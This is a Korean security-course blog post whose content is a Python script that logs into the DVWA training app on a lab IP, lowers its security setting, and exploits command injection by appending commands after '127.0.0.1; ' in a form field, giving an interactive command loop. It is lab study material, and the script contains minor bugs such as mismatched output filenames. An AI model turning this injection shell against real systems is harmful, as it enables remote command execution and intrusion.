Command Execution 취약점 진단

2020. 4. 6. 14:57정보보안과정/웹 페이지 취약점 진단

#!/usr/bin/env /usr/bin/pythn3

import requests
from bs4 import BeautifulSoup
import re
import sys
import os

login_url = 'http://192.168.10.134/dvwa/login.php'
login_data = {'username': 'admin', 'password':'password', 'Login':'Login'}
s = requests.Session()
# 요청을 하면 응답이 돌아온다.
resp = s.post(login_url, data=login_data)
# print(resp.text)
soup = BeautifulSoup(resp.text, 'lxml')
# print(soup.div.h1.string)
OK_MESS = 'Welcome to Damn Vulnerable Web App!'
if re.search(OK_MESS, soup.div.h1.string):
    print('[+] Login successfully.')
else:
    sys.exit('[-] Login failed.')

security_url = 'http://192.168.10.134/dvwa/security.php'
security_data = {'security': 'low', 'seclev_submit': 'Submit'}
resp = s.post(security_url, data=security_data)
# print(resp.text)
soup = BeautifulSoup(resp.text, 'lxml')
# print(soup.find_all('div', class_='message'))
contents = str(soup.find_all('div', class_='message'))

OK_MESS = 'Security level set to low'

if re.search(OK_MESS, contents):
    print('[+] Security level set to low.')
else:
    sys.exit('[-] Security level is not set.')

cmdi_url = 'http://192.168.10.134/dvwa/vulnerabilities/exec/'
cmd = 'id'
cmdi_data = {'ip': '127.0.0.1; '+cmd ,'submit': 'submit'}
resp = s.post(cmdi_url, data=cmdi_data)
# print(resp.text)
soup = BeautifulSoup(resp.text, 'lxml')
# print(soup.pre.string)

OK_MESS = 'uid='
if re.search(OK_MESS, soup.pre.string):
    print('[+] Command injection is possible.')
else:
    sys.exit('[-] Command injection is impossible')

while True:
    CMD = input('Enter your command (CMD:q) : ')
    if CMD == 'q':
        break
    # print(CMD)
    cmdi_data = {'ip': '127.0.0.1; ' + CMD, 'submit': 'submit'}
    resp = s.post(cmdi_url, data=cmdi_data)
    # print(resp.text)
    soup = BeautifulSoup(resp.text, 'lxml')
    print(soup.pre.string)

    with open('cmd2output.txt', 'w') as fd:
        fd.write(soup.pre.string)

    print('='*20, "Command Output", '='*20)
    os.system('cat cmdoutput.txt | egrep -v "(PING|64 bytes|ping statistics|packets transmitted|rtt min)"')
    print('=' * 20, "Command Output", '=' * 20)

 

'정보보안과정 > 웹 페이지 취약점 진단' 카테고리의 다른 글

CSRF 취약점 진단  (0) 2020.04.22
FileUpload 취약점 진단  (0) 2020.04.21
SQL Injection 취약점 진단  (0) 2020.04.21